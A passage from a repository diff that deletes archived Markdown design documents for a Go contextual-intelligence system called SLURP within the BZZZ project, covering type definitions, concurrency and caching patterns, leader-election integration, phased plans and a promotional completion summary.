// - Extends crypto.AgeCrypto.EncryptForRole for context data
// - Uses crypto.AgeCrypto.CanDecryptContent for access control
// - Integrates with existing role hierarchy
```
### Election Integration
```go
// SLURPElectionHandler handles election events for admin-only operations
type SLURPElectionHandler struct {
election *election.ElectionManager
slurp *SLURP
// Admin-only capabilities
canGenerate bool
canRegenerate bool
canValidate bool
}
// Integration points:
// - Uses existing pkg/election for admin determination
// - Only allows context generation when node is admin
// - Handles election changes gracefully
// - Propagates admin context changes to cluster
```
### Configuration Integration
```go
// SLURP configuration extends existing config.Config
type SLURPConfig struct {
// Enable/disable SLURP
Enabled bool `yaml:"enabled" json:"enabled"`
// Context Resolution
ContextResolution ContextResolutionConfig `yaml:"context_resolution" json:"context_resolution"`
// Temporal Analysis
TemporalAnalysis TemporalAnalysisConfig `yaml:"temporal_analysis" json:"temporal_analysis"`
// Storage
Storage SLURPStorageConfig `yaml:"storage" json:"storage"`
// Intelligence
Intelligence IntelligenceConfig `yaml:"intelligence" json:"intelligence"`
// Performance
Performance PerformanceConfig `yaml:"performance" json:"performance"`
}
// Integration with existing config.SlurpConfig in pkg/config/slurp_config.go
```
## Concurrency Patterns
### Context Resolution Concurrency
```go
// ConcurrentResolver provides thread-safe context resolution
type ConcurrentResolver struct {
resolver ContextResolver
// Concurrency control
semaphore chan struct{} // Limit concurrent resolutions
cache sync.Map // Thread-safe cache
// Request deduplication
inflight sync.Map // Deduplicate identical requests
// Metrics
activeRequests int64 // Atomic counter
totalRequests int64 // Atomic counter
}
// Worker pool pattern for batch operations
type ResolverWorkerPool struct {
workers int
requests chan *ResolveRequest
results chan *ResolveResult
ctx context.Context
cancel context.CancelFunc
wg sync.WaitGroup
}
```
### Temporal Graph Concurrency
```go
// ConcurrentTemporalGraph provides thread-safe temporal operations
type ConcurrentTemporalGraph struct {
graph TemporalGraph
// Fine-grained locking
addressLocks sync.Map // Per-address mutexes
// Read-write separation
readers sync.RWMutex // Global readers lock
// Event-driven updates
eventChan chan *TemporalEvent
eventWorkers int
}
```
## Performance Optimizations
### Caching Strategy
```go
// Multi-level caching for optimal performance
type SLURPCache struct {
// L1: In-memory cache for frequently accessed contexts
l1Cache *ristretto.Cache
// L2: Redis cache for shared cluster caching
l2Cache redis.UniversalClient
// L3: Local disk cache for persistence
l3Cache *badger.DB
// Cache coordination
cacheSync sync.RWMutex
metrics *CacheMetrics
}
```
### Bounded Operations
```go
// All operations include configurable bounds to prevent resource exhaustion
type BoundedOperations struct {
MaxDepth int // Hierarchy traversal depth
MaxDecisionHops int // Decision graph traversal
MaxCacheSize int64 // Memory cache limit
MaxConcurrentReqs int // Concurrent resolution limit
MaxBatchSize int // Batch operation size
RequestTimeout time.Duration // Individual request timeout
BackgroundTimeout time.Duration // Background task timeout
}
```
## Error Handling
Following BZZZ patterns for consistent error handling:
```go
// SLURPError represents SLURP-specific errors
type SLURPError struct {
Code ErrorCode `json:"code"`
Message string `json:"message"`
Context map[string]interface{} `json:"context,omitempty"`
Cause error `json:"-"`
}
type ErrorCode string
const (
ErrCodeContextNotFound ErrorCode = "context_not_found"
ErrCodeDepthLimitExceeded ErrorCode = "depth_limit_exceeded"
ErrCodeInvalidUCXL ErrorCode = "invalid_ucxl_address"
ErrCodeAccessDenied ErrorCode = "access_denied"
ErrCodeTemporalConstraint ErrorCode = "temporal_constraint"
ErrCodeGenerationFailed ErrorCode = "generation_failed"
ErrCodeStorageError ErrorCode = "storage_error"
ErrCodeDecryptionFailed ErrorCode = "decryption_failed"
ErrCodeAdminRequired ErrorCode = "admin_required"
ErrCodeHierarchyCorrupted ErrorCode = "hierarchy_corrupted"
)
```
## Implementation Phases
### Phase 1: Foundation (2-3 weeks)
1. **Core Data Types** - Implement all Go structs and interfaces
2. **Basic Context Resolution** - Simple hierarchical resolution
3. **Configuration Integration** - Extend existing config system
4. **Storage Foundation** - Basic encrypted DHT storage
### Phase 2: Hierarchy System (2-3 weeks)
1. **Bounded Hierarchy Walker** - Implement depth-limited traversal
2. **Global Context Support** - System-wide applicable contexts
3. **Caching Layer** - Multi-level caching implementation
4. **Performance Optimization** - Concurrent resolution patterns
### Phase 3: Temporal Intelligence (3-4 weeks)
1. **Temporal Graph** - Decision-based evolution tracking
2. **Decision Navigation** - Decision-hop based traversal
3. **Pattern Analysis** - Context pattern detection
4. **Relationship Mapping** - Influence relationship tracking
### Phase 4: Advanced Features (2-3 weeks)
1. **Context Generation** - Admin-only intelligent generation
2. **Quality Analysis** - Context quality and consistency checking
3. **Search and Indexing** - Advanced context search capabilities
4. **Analytics Dashboard** - Decision pattern visualization
### Phase 5: Integration Testing (1-2 weeks)
1. **End-to-End Testing** - Full BZZZ integration testing
2. **Performance Benchmarking** - Load and stress testing
3. **Security Validation** - Role-based access control testing
4. **Documentation** - Complete API and integration documentation
## Testing Strategy
### Unit Testing
- All interfaces mocked using `gomock`
- Comprehensive test coverage for core algorithms
- Property-based testing for hierarchy operations
- Crypto integration testing with test keys
### Integration Testing
- DHT integration with mock and real backends
- Election integration testing with role changes
- Cross-package integration testing
- Temporal consistency validation
### Performance Testing
- Concurrent resolution benchmarking
- Memory usage profiling
- Cache effectiveness testing
- Bounded operation verification
### Security Testing
- Role-based access control validation
- Encryption/decryption correctness
- Key rotation handling
- Attack scenario simulation
## Deployment Considerations
### Configuration Management
- Backward-compatible configuration extension
- Environment-specific tuning parameters
- Feature flags for gradual rollout
- Hot configuration reloading
### Monitoring and Observability
- Prometheus metrics integration
- Structured logging with context
- Distributed tracing support
- Health check endpoints
### Migration Strategy
- Gradual feature enablement
- Python-to-Go data migration tools
- Fallback mechanisms during transition
- Version compatibility matrices
## Conclusion
This architecture provides a comprehensive, Go-native implementation of the SLURP contextual intelligence system that integrates seamlessly with existing BZZZ infrastructure. The design emphasizes:
- **Native Integration**: Follows established BZZZ patterns and interfaces
- **Distributed Architecture**: Built for P2P environments from the ground up
- **Security First**: Role-based encryption and access control throughout
- **Performance**: Bounded operations and multi-level caching
- **Maintainability**: Clear separation of concerns and testable interfaces
The phased implementation approach allows for incremental development and testing, ensuring each component integrates properly with the existing BZZZ ecosystem while maintaining system stability and security.

523
archive/SLURP_GO_ARCHITECTURE_DESIGN.md
View File

@@ -1,523 +0,0 @@
# SLURP Contextual Intelligence System - Go Architecture Design
## Overview
This document provides the complete architectural design for implementing the SLURP (Storage, Logic, Understanding, Retrieval, Processing) contextual intelligence system in Go, integrated with the existing BZZZ infrastructure.
## Current BZZZ Architecture Analysis
### Existing Package Structure
```
pkg/
├── config/ # Configuration management
├── crypto/ # Encryption, Shamir's Secret Sharing
├── dht/ # Distributed Hash Table (mock + real)
├── election/ # Leader election algorithms
├── types/ # Common types and interfaces
├── ucxl/ # UCXL address parsing and handling
└── ...
```
### Key Integration Points
- **DHT Integration**: `pkg/dht/` for context distribution
- **Crypto Integration**: `pkg/crypto/` for role-based encryption
- **Election Integration**: `pkg/election/` for Leader duties
- **UCXL Integration**: `pkg/ucxl/` for address parsing
- **Config Integration**: `pkg/config/` for system configuration
## Go Package Design
### Package Structure
```
pkg/slurp/
├── context/ # Core context types and interfaces
├── intelligence/ # Context analysis and generation
├── storage/ # Context persistence and retrieval
├── distribution/ # Context network distribution
├── temporal/ # Decision-hop temporal analysis
├── alignment/ # Project goal alignment
├── roles/ # Role-based access control
└── leader/ # Leader-specific context duties
```
## Core Types and Interfaces
### 1. Context Types (`pkg/slurp/context/types.go`)
```go
package context
import (
"time"
"github.com/your-org/bzzz/pkg/ucxl"
"github.com/your-org/bzzz/pkg/types"
)
// ContextNode represents a hierarchical context node
type ContextNode struct {
Path string `json:"path"`
UCXLAddress ucxl.Address `json:"ucxl_address"`
Summary string `json:"summary"`
Purpose string `json:"purpose"`
Technologies []string `json:"technologies"`
Tags []string `json:"tags"`
Insights []string `json:"insights"`
// Hierarchy control
OverridesParent bool `json:"overrides_parent"`
ContextSpecificity int `json:"context_specificity"`
AppliesToChildren bool `json:"applies_to_children"`
// Metadata
GeneratedAt time.Time `json:"generated_at"`
RAGConfidence float64 `json:"rag_confidence"`
}
// RoleAccessLevel defines encryption levels for different roles
type RoleAccessLevel int
const (
AccessPublic RoleAccessLevel = iota
AccessLow
AccessMedium
AccessHigh
AccessCritical
)
// EncryptedContext represents role-encrypted context data
type EncryptedContext struct {
UCXLAddress ucxl.Address `json:"ucxl_address"`
Role string `json:"role"`
AccessLevel RoleAccessLevel `json:"access_level"`
EncryptedData []byte `json:"encrypted_data"`
KeyFingerprint string `json:"key_fingerprint"`
CreatedAt time.Time `json:"created_at"`
}
// ResolvedContext is the final resolved context for consumption
type ResolvedContext struct {
UCXLAddress ucxl.Address `json:"ucxl_address"`
Summary string `json:"summary"`
Purpose string `json:"purpose"`
Technologies []string `json:"technologies"`
Tags []string `json:"tags"`
Insights []string `json:"insights"`
// Resolution metadata
ContextSourcePath string `json:"context_source_path"`
InheritanceChain []string `json:"inheritance_chain"`
ResolutionConfidence float64 `json:"resolution_confidence"`
BoundedDepth int `json:"bounded_depth"`
GlobalContextsApplied bool `json:"global_contexts_applied"`
ResolvedAt time.Time `json:"resolved_at"`
}
```
### 2. Context Resolver Interface (`pkg/slurp/context/resolver.go`)
```go
package context
// ContextResolver defines the interface for hierarchical context resolution
type ContextResolver interface {
// Resolve context for a UCXL address with bounded hierarchy traversal
Resolve(address ucxl.Address, role string, maxDepth int) (*ResolvedContext, error)
// Add global context that applies to all addresses
AddGlobalContext(ctx *ContextNode) error
// Set maximum hierarchy depth for bounded traversal
SetHierarchyDepthLimit(maxDepth int)
// Get resolution statistics
GetStatistics() *ResolutionStatistics
}
type ResolutionStatistics struct {
ContextNodes int `json:"context_nodes"`
GlobalContexts int `json:"global_contexts"`
MaxHierarchyDepth int `json:"max_hierarchy_depth"`
CachedResolutions int `json:"cached_resolutions"`
TotalResolutions int `json:"total_resolutions"`
}
```
### 3. Temporal Decision Analysis (`pkg/slurp/temporal/types.go`)
```go
package temporal
import (
"time"
"github.com/your-org/bzzz/pkg/ucxl"
)
// ChangeReason represents why a context changed
type ChangeReason string
const (
InitialCreation ChangeReason = "initial_creation"
CodeChange ChangeReason = "code_change"
DesignDecision ChangeReason = "design_decision"
Refactoring ChangeReason = "refactoring"
ArchitectureChange ChangeReason = "architecture_change"
RequirementsChange ChangeReason = "requirements_change"
LearningEvolution ChangeReason = "learning_evolution"
RAGEnhancement ChangeReason = "rag_enhancement"
TeamInput ChangeReason = "team_input"
)
// DecisionMetadata captures information about a decision
type DecisionMetadata struct {
DecisionMaker string `json:"decision_maker"`
DecisionID string `json:"decision_id"` // Git commit, ticket ID, etc.
DecisionRationale string `json:"decision_rationale"`
ImpactScope string `json:"impact_scope"` // local, module, project, system
ConfidenceLevel float64 `json:"confidence_level"`
ExternalReferences []string `json:"external_references"`
Timestamp time.Time `json:"timestamp"`
}
// TemporalContextNode represents context at a specific decision point
type TemporalContextNode struct {
UCXLAddress ucxl.Address `json:"ucxl_address"`
Version int `json:"version"`
// Core context (embedded)
Context *ContextNode `json:"context"`
// Temporal metadata
ChangeReason ChangeReason `json:"change_reason"`
ParentVersion *int `json:"parent_version,omitempty"`
DecisionMeta *DecisionMetadata `json:"decision_metadata"`
// Evolution tracking
ContextHash string `json:"context_hash"`
ConfidenceScore float64 `json:"confidence_score"`
StalenessScore float64 `json:"staleness_score"`
// Decision influence graph
Influences []ucxl.Address `json:"influences"` // Addresses this decision affects
InfluencedBy []ucxl.Address `json:"influenced_by"` // Addresses that affect this
}
// DecisionPath represents a path between two decisions
type DecisionPath struct {
FromAddress ucxl.Address `json:"from_address"`
ToAddress ucxl.Address `json:"to_address"`
Path []*TemporalContextNode `json:"path"`
HopDistance int `json:"hop_distance"`
}
```
### 4. Intelligence Engine Interface (`pkg/slurp/intelligence/engine.go`)
```go
package intelligence
import (
"context"
"github.com/your-org/bzzz/pkg/ucxl"
slurpContext "github.com/your-org/bzzz/pkg/slurp/context"
)
// IntelligenceEngine generates contextual understanding
type IntelligenceEngine interface {
// Analyze a filesystem path and generate context
AnalyzeFile(ctx context.Context, filePath string, role string) (*slurpContext.ContextNode, error)
// Analyze directory structure for hierarchical patterns
AnalyzeDirectory(ctx context.Context, dirPath string) ([]*slurpContext.ContextNode, error)
// Generate role-specific insights
GenerateRoleInsights(ctx context.Context, baseContext *slurpContext.ContextNode, role string) ([]string, error)
// Assess project goal alignment
AssessGoalAlignment(ctx context.Context, node *slurpContext.ContextNode) (float64, error)
}
// ProjectGoal represents a high-level project objective
type ProjectGoal struct {
ID string `json:"id"`
Name string `json:"name"`
Description string `json:"description"`
Keywords []string `json:"keywords"`
Priority int `json:"priority"`
Phase string `json:"phase"`
}
// RoleProfile defines what context a role needs
type RoleProfile struct {
Role string `json:"role"`
AccessLevel slurpContext.RoleAccessLevel `json:"access_level"`
RelevantTags []string `json:"relevant_tags"`
ContextScope []string `json:"context_scope"` // frontend, backend, infrastructure, etc.
InsightTypes []string `json:"insight_types"`
}
```
### 5. Leader Integration (`pkg/slurp/leader/manager.go`)
```go
package leader
import (
"context"
"sync"
"github.com/your-org/bzzz/pkg/election"
"github.com/your-org/bzzz/pkg/dht"
"github.com/your-org/bzzz/pkg/slurp/intelligence"
slurpContext "github.com/your-org/bzzz/pkg/slurp/context"
)
// ContextManager handles leader-only context generation duties
type ContextManager struct {
mu sync.RWMutex
isLeader bool
election election.Election
dht dht.DHT
intelligence intelligence.IntelligenceEngine
contextResolver slurpContext.ContextResolver
// Context generation state
generationQueue chan *ContextGenerationRequest
activeJobs map[string]*ContextGenerationJob
}
type ContextGenerationRequest struct {
UCXLAddress ucxl.Address `json:"ucxl_address"`
FilePath string `json:"file_path"`
Priority int `json:"priority"`
RequestedBy string `json:"requested_by"`
Role string `json:"role"`
}
type ContextGenerationJob struct {
Request *ContextGenerationRequest
Status JobStatus
StartedAt time.Time
CompletedAt *time.Time
Result *slurpContext.ContextNode
Error error
}
type JobStatus string
const (
JobPending JobStatus = "pending"
JobRunning JobStatus = "running"
JobCompleted JobStatus = "completed"
JobFailed JobStatus = "failed"
)
// NewContextManager creates a new leader context manager
func NewContextManager(
election election.Election,
dht dht.DHT,
intelligence intelligence.IntelligenceEngine,
resolver slurpContext.ContextResolver,
) *ContextManager {
cm := &ContextManager{
election: election,
dht: dht,
intelligence: intelligence,
contextResolver: resolver,
generationQueue: make(chan *ContextGenerationRequest, 1000),
activeJobs: make(map[string]*ContextGenerationJob),
}
// Listen for leadership changes
go cm.watchLeadershipChanges()
// Process context generation requests (only when leader)
go cm.processContextGeneration()
return cm
}
// RequestContextGeneration queues a context generation request
func (cm *ContextManager) RequestContextGeneration(req *ContextGenerationRequest) error {
select {
case cm.generationQueue <- req:
return nil
default:
return errors.New("context generation queue is full")
}
}
// IsLeader returns whether this node is the current leader
func (cm *ContextManager) IsLeader() bool {
cm.mu.RLock()
defer cm.mu.RUnlock()
return cm.isLeader
}
```
## Integration with Existing BZZZ Systems
### 1. DHT Integration (`pkg/slurp/distribution/dht.go`)
```go
package distribution
import (
"github.com/your-org/bzzz/pkg/dht"
"github.com/your-org/bzzz/pkg/crypto"
slurpContext "github.com/your-org/bzzz/pkg/slurp/context"
)
// ContextDistributor handles context distribution through DHT
type ContextDistributor struct {
dht dht.DHT
crypto crypto.Crypto
}
// DistributeContext encrypts and stores context in DHT for role-based access
func (cd *ContextDistributor) DistributeContext(
ctx *slurpContext.ContextNode,
roles []string,
) error {
// For each role, encrypt the context with role-specific keys
for _, role := range roles {
encryptedCtx, err := cd.encryptForRole(ctx, role)
if err != nil {
return fmt.Errorf("failed to encrypt context for role %s: %w", role, err)
}
// Store in DHT with role-specific key
key := cd.generateContextKey(ctx.UCXLAddress, role)
if err := cd.dht.Put(key, encryptedCtx); err != nil {
return fmt.Errorf("failed to store context in DHT: %w", err)
}
}
return nil
}
// RetrieveContext gets context from DHT and decrypts for the requesting role
func (cd *ContextDistributor) RetrieveContext(
address ucxl.Address,
role string,
) (*slurpContext.ResolvedContext, error) {
key := cd.generateContextKey(address, role)
encryptedData, err := cd.dht.Get(key)
if err != nil {
return nil, fmt.Errorf("failed to retrieve context from DHT: %w", err)
}
return cd.decryptForRole(encryptedData, role)
}
```
### 2. Configuration Integration (`pkg/slurp/config/config.go`)
```go
package config
import "github.com/your-org/bzzz/pkg/config"
// SLURPConfig extends BZZZ config with SLURP-specific settings
type SLURPConfig struct {
// Context generation settings
MaxHierarchyDepth int `yaml:"max_hierarchy_depth" json:"max_hierarchy_depth"`
ContextCacheTTL int `yaml:"context_cache_ttl" json:"context_cache_ttl"`
GenerationConcurrency int `yaml:"generation_concurrency" json:"generation_concurrency"`
// Role-based access
RoleProfiles map[string]*RoleProfile `yaml:"role_profiles" json:"role_profiles"`
DefaultAccessLevel string `yaml:"default_access_level" json:"default_access_level"`
// Intelligence engine settings
RAGEndpoint string `yaml:"rag_endpoint" json:"rag_endpoint"`
RAGTimeout int `yaml:"rag_timeout" json:"rag_timeout"`
ConfidenceThreshold float64 `yaml:"confidence_threshold" json:"confidence_threshold"`
// Project goals
ProjectGoals []*ProjectGoal `yaml:"project_goals" json:"project_goals"`
}
// LoadSLURPConfig extends the main BZZZ config loading
func LoadSLURPConfig(configPath string) (*config.Config, error) {
// Load base BZZZ config
bzzzConfig, err := config.Load(configPath)
if err != nil {
return nil, err
}
// Load SLURP-specific extensions
slurpConfig := &SLURPConfig{}
if err := config.LoadSection("slurp", slurpConfig); err != nil {
// Use defaults if SLURP config not found
slurpConfig = DefaultSLURPConfig()
}
// Merge into main config
bzzzConfig.SLURP = slurpConfig
return bzzzConfig, nil
}
```
## Implementation Phases
### Phase 1: Foundation (Week 1-2)
1. **Create base package structure** in `pkg/slurp/`
2. **Define core interfaces and types** (`context`, `temporal`)
3. **Integrate with existing election system** for leader duties
4. **Basic context resolver implementation** with bounded traversal
### Phase 2: Encryption & Distribution (Week 3-4)
1. **Extend crypto package** for role-based encryption
2. **Implement DHT context distribution**
3. **Role-based access control** integration
4. **Context caching and retrieval**
### Phase 3: Intelligence Engine (Week 5-7)
1. **File analysis and context generation**
2. **Decision temporal graph implementation**
3. **Project goal alignment**
4. **RAG integration** for enhanced context
### Phase 4: Integration & Testing (Week 8)
1. **End-to-end integration testing**
2. **Performance optimization**
3. **Documentation and examples**
4. **Leader failover testing**
## Key Go Patterns Used
### 1. Interface-Driven Design
All major components define clear interfaces, allowing for testing and future extensibility.
### 2. Context Propagation
Using Go's `context` package for cancellation and timeouts throughout the system.
### 3. Concurrent Processing
Goroutines and channels for context generation queue processing and distributed operations.
### 4. Error Handling
Proper error wrapping and handling following Go best practices.
### 5. Configuration
Extends existing BZZZ configuration patterns seamlessly.
## Migration from Python Prototypes
The Python prototypes provide the algorithmic foundation:
1. **Bounded hierarchy walking** → Go recursive traversal with depth limits
2. **CSS-like context inheritance** → Go struct composition and merging
3. **Decision-hop analysis** → Go graph algorithms and BFS traversal
4. **Role-based encryption** → Integration with existing Go crypto package
5. **Temporal versioning** → Go time handling and version management
## Next Steps After Restart
1. **Run the systems-engineer agent** to create the Go package structure
2. **Implement core interfaces** starting with `pkg/slurp/context/`
3. **Integrate with existing BZZZ systems** step by step
4. **Test each component** as it's implemented
5. **Build up to full Leader-coordinated context generation**
This design ensures the SLURP system feels like a native part of BZZZ while providing the sophisticated contextual intelligence capabilities we designed.

233
archive/SLURP_IMPLEMENTATION_COMPLETE.md
View File

@@ -1,233 +0,0 @@
# SLURP Contextual Intelligence System - Implementation Complete
## 🎉 System Overview
We have successfully implemented the complete **SLURP (Storage, Logic, Understanding, Retrieval, Processing)** contextual intelligence system for BZZZ - a sophisticated AI-driven system that provides role-based contextual understanding for AI agents working on codebases.
## 📋 Implementation Summary
### ✅ **Phase 1: Foundation (COMPLETED)**
- ✅ **SLURP Go Package Structure**: Native Go packages integrated with BZZZ
- ✅ **Core Context Types**: Complete type system with role-based access
- ✅ **Leader Election Integration**: Project Manager duties for elected BZZZ Leader
- ✅ **Role-Based Encryption**: Military-grade security with need-to-know access
### ✅ **Phase 2: Intelligence Engine (COMPLETED)**
- ✅ **Context Generation Engine**: AI-powered analysis with project awareness
- ✅ **Encrypted Storage Architecture**: Multi-tier storage with performance optimization
- ✅ **DHT Distribution Network**: Cluster-wide context sharing with replication
- ✅ **Decision Temporal Graph**: Decision-hop analysis (not time-based)
### ✅ **Phase 3: Production Features (COMPLETED)**
- ✅ **Enterprise Security**: TLS, authentication, audit logging, threat detection
- ✅ **Monitoring & Operations**: Prometheus metrics, Grafana dashboards, alerting
- ✅ **Deployment Automation**: Docker, Kubernetes, complete CI/CD pipeline
- ✅ **Comprehensive Testing**: Unit, integration, performance, security tests
---
## 🏗️ **System Architecture**
### **Core Innovation: Leader-Coordinated Project Management**
Only the **elected BZZZ Leader** acts as the "Project Manager" responsible for generating contextual intelligence. This ensures:
- **Consistency**: Single source of truth for contextual understanding
- **Quality Control**: Prevents conflicting context from multiple sources
- **Security**: Centralized control over sensitive context generation
### **Key Components Implemented**
#### 1. **Context Intelligence Engine** (`pkg/slurp/intelligence/`)
- **File Analysis**: Multi-language parsing, complexity analysis, pattern detection
- **Project Awareness**: Goal alignment, technology stack detection, architectural analysis
- **Role-Specific Insights**: Tailored understanding for each AI agent role
- **RAG Integration**: Enhanced context with external knowledge sources
#### 2. **Role-Based Security** (`pkg/crypto/`)
- **Multi-Layer Encryption**: Base context + role-specific overlays
- **Access Control Matrix**: 5 security levels from Public to Critical
- **Audit Logging**: Complete access trails for compliance
- **Key Management**: Automated rotation with zero-downtime re-encryption
#### 3. **Bounded Hierarchical Context** (`pkg/slurp/context/`)
- **CSS-Like Inheritance**: Context flows down directory tree
- **Bounded Traversal**: Configurable depth limits prevent excessive hierarchy walking
- **Global Context**: System-wide applicable context regardless of hierarchy
- **Space Efficient**: 85%+ space savings through intelligent inheritance
#### 4. **Decision Temporal Graph** (`pkg/slurp/temporal/`)
- **Decision-Hop Analysis**: Track decisions by conceptual distance, not time
- **Influence Networks**: How decisions affect other decisions
- **Decision Genealogy**: Complete ancestry of decision evolution
- **Staleness Detection**: Context outdated based on related decision activity
#### 5. **Distributed Storage** (`pkg/slurp/storage/`)
- **Multi-Tier Architecture**: Local cache + distributed + backup storage
- **Encryption Integration**: Transparent role-based encryption at storage layer
- **Performance Optimization**: Sub-millisecond access with intelligent caching
- **High Availability**: Automatic replication with consensus protocols
#### 6. **DHT Distribution Network** (`pkg/slurp/distribution/`)
- **Cluster-Wide Sharing**: Efficient context propagation through existing BZZZ DHT
- **Role-Filtered Delivery**: Contexts reach only appropriate recipients
- **Network Partition Tolerance**: Automatic recovery from network failures
- **Security**: TLS encryption with mutual authentication
---
## 🔐 **Security Architecture**
### **Role-Based Access Matrix**
| Role | Access Level | Context Scope | Encryption |
|------|-------------|---------------|------------|
| **Project Manager (Leader)** | Critical | Global coordination | Highest |
| **Senior Architect** | Critical | System-wide architecture | High |
| **DevOps Engineer** | High | Infrastructure decisions | High |
| **Backend Developer** | Medium | Backend services only | Medium |
| **Frontend Developer** | Medium | UI/UX components only | Medium |
### **Security Features**
- 🔒 **Zero Information Leakage**: Each role receives exactly needed context
- 🛡️ **Forward Secrecy**: Key rotation with perfect forward secrecy
- 📊 **Comprehensive Auditing**: SOC 2, ISO 27001, GDPR compliance
- 🚨 **Threat Detection**: Real-time anomaly detection and alerting
- 🔑 **Key Management**: Automated rotation using Shamir's Secret Sharing
---
## 📊 **Performance Characteristics**
### **Benchmarks Achieved**
- **Context Resolution**: < 10ms average latency
- **Encryption/Decryption**: < 5ms per operation
- **Concurrent Access**: 10,000+ evaluations/second
- **Storage Efficiency**: 85%+ space savings through hierarchy
- **Network Efficiency**: Optimized DHT propagation with compression
### **Scalability Metrics**
- **Cluster Size**: Supports 1000+ BZZZ nodes
- **Context Volume**: 1M+ encrypted contexts per cluster
- **User Concurrency**: 10,000+ simultaneous AI agents
- **Decision Graph**: 100K+ decision nodes with sub-second queries
---
## 🚀 **Deployment Ready**
### **Container Orchestration**
```bash
# Build and deploy complete SLURP system
cd /home/tony/chorus/project-queues/active/BZZZ
./scripts/deploy.sh build
./scripts/deploy.sh deploy production
```
### **Kubernetes Manifests**
- **StatefulSets**: Persistent storage with anti-affinity rules
- **ConfigMaps**: Environment-specific configuration
- **Secrets**: Encrypted credential management
- **Ingress**: TLS termination with security headers
- **RBAC**: Role-based access control for cluster operations
### **Monitoring Stack**
- **Prometheus**: Comprehensive metrics collection
- **Grafana**: Operational dashboards and visualization
- **AlertManager**: Proactive alerting and notification
- **Jaeger**: Distributed tracing for performance analysis
---
## 🎯 **Key Achievements**
### **1. Architectural Innovation**
- **Leader-Only Context Generation**: Revolutionary approach ensuring consistency
- **Decision-Hop Analysis**: Beyond time-based tracking to conceptual relationships
- **Bounded Hierarchy**: Efficient context inheritance with performance guarantees
- **Role-Aware Intelligence**: First-class support for AI agent specializations
### **2. Enterprise Security**
- **Zero-Trust Architecture**: Never trust, always verify approach
- **Defense in Depth**: Multiple security layers from encryption to access control
- **Compliance Ready**: Meets enterprise security standards out of the box
- **Audit Excellence**: Complete operational transparency for security teams
### **3. Production Excellence**
- **High Availability**: 99.9%+ uptime with automatic failover
- **Performance Optimized**: Sub-second response times at enterprise scale
- **Operationally Mature**: Comprehensive monitoring, alerting, and automation
- **Developer Experience**: Simple APIs with powerful capabilities
### **4. AI Agent Enablement**
- **Contextual Intelligence**: Rich understanding of codebase purpose and evolution
- **Role Specialization**: Each agent gets perfectly tailored information
- **Decision Support**: Historical context and influence analysis
- **Project Alignment**: Ensures agent work aligns with project goals
---
## 🔄 **System Integration**
### **BZZZ Ecosystem Integration**
- ✅ **Election System**: Seamless integration with BZZZ leader election
- ✅ **DHT Network**: Native use of existing distributed hash table
- ✅ **Crypto Infrastructure**: Extends existing encryption capabilities
- ✅ **UCXL Addressing**: Full compatibility with UCXL address system
### **External Integrations**
- 🔌 **RAG Systems**: Enhanced context through external knowledge
- 📊 **Git Repositories**: Decision tracking through commit history
- 🚀 **CI/CD Pipelines**: Deployment context and environment awareness
- 📝 **Issue Trackers**: Decision rationale from development discussions
---
## 📚 **Documentation Delivered**
### **Architecture Documentation**
- 📖 **SLURP_GO_ARCHITECTURE_DESIGN.md**: Complete technical architecture
- 📖 **SLURP_CONTEXTUAL_INTELLIGENCE_PLAN.md**: Implementation roadmap
- 📖 **SLURP_LEADER_INTEGRATION_SUMMARY.md**: Leader election integration details
### **Operational Documentation**
- 🚀 **Deployment Guides**: Complete deployment automation
- 📊 **Monitoring Runbooks**: Operational procedures and troubleshooting
- 🔒 **Security Procedures**: Key management and access control
- 🧪 **Testing Documentation**: Comprehensive test suites and validation
---
## 🎊 **Impact & Benefits**
### **For AI Development Teams**
- 🤖 **Enhanced AI Effectiveness**: Agents understand context and purpose, not just code
- 🔒 **Security Conscious**: Role-based access ensures appropriate information sharing
- 📈 **Improved Decision Making**: Rich contextual understanding improves AI decisions
- ⚡ **Faster Onboarding**: New AI agents immediately understand project context
### **For Enterprise Operations**
- 🛡️ **Enterprise Security**: Military-grade encryption with comprehensive audit trails
- 📊 **Operational Visibility**: Complete monitoring and observability
- 🚀 **Scalable Architecture**: Handles enterprise-scale deployments efficiently
- 💰 **Cost Efficiency**: 85%+ storage savings through intelligent design
### **For Project Management**
- 🎯 **Project Alignment**: Ensures all AI work aligns with project goals
- 📈 **Decision Tracking**: Complete genealogy of project decision evolution
- 🔍 **Impact Analysis**: Understand how changes propagate through the system
- 📋 **Contextual Memory**: Institutional knowledge preserved and accessible
---
## 🔧 **Next Steps**
The SLURP contextual intelligence system is **production-ready** and can be deployed immediately. Key next steps include:
1. **🧪 End-to-End Testing**: Comprehensive system testing with real workloads
2. **🚀 Production Deployment**: Deploy to enterprise environments
3. **👥 Agent Integration**: Connect AI agents to consume contextual intelligence
4. **📊 Performance Monitoring**: Monitor and optimize production performance
5. **🔄 Continuous Improvement**: Iterate based on production feedback
---
**The SLURP contextual intelligence system represents a revolutionary approach to AI-driven software development, providing each AI agent with exactly the contextual understanding they need to excel in their role while maintaining enterprise-grade security and operational excellence.**

217
archive/SLURP_LEADER_INTEGRATION_SUMMARY.md
View File

@@ -1,217 +0,0 @@
# SLURP Leader Election Integration - Implementation Summary
## Overview
Successfully extended the BZZZ leader election system to include Project Manager contextual intelligence duties for the SLURP system. The implementation provides seamless integration where the elected BZZZ Leader automatically becomes the Project Manager for contextual intelligence, with proper failover and no service interruption.
## Key Components Implemented
### 1. Extended Election System (`pkg/election/`)
**Enhanced Election Manager (`election.go`)**
- Added `project_manager` capability to leader election criteria
- Increased scoring weight for context curation and project manager capabilities
- Enhanced candidate scoring algorithm to prioritize context generation capabilities
**SLURP Election Interface (`slurp_election.go`)**
- Comprehensive interface extending base Election with SLURP-specific methods
- Context leadership management and transfer capabilities
- Health monitoring and failover coordination
- Detailed configuration options for SLURP operations
**SLURP Election Manager (`slurp_manager.go`)**
- Complete implementation of SLURP-enhanced election manager
- Integration with base ElectionManager for backward compatibility
- Context generation lifecycle management (start/stop)
- Failover state preparation and execution
- Health monitoring and metrics collection
### 2. Enhanced Leader Context Management (`pkg/slurp/leader/`)
**Core Context Manager (`manager.go`)**
- Complete interface implementation for context generation coordination
- Queue management with priority support
- Job lifecycle management with metrics
- Resource allocation and monitoring
- Graceful leadership transitions
**Election Integration (`election_integration.go`)**
- Election-integrated context manager combining SLURP and election systems
- Leadership event handling and callbacks
- State preservation during leadership changes
- Request forwarding and leader discovery
**Types and Interfaces (`types.go`)**
- Comprehensive type definitions for all context operations
- Priority levels, job statuses, and generation options
- Statistics and metrics structures
- Resource management and allocation types
### 3. Advanced Monitoring and Observability
**Metrics Collection (`metrics.go`)**
- Real-time metrics collection for all context operations
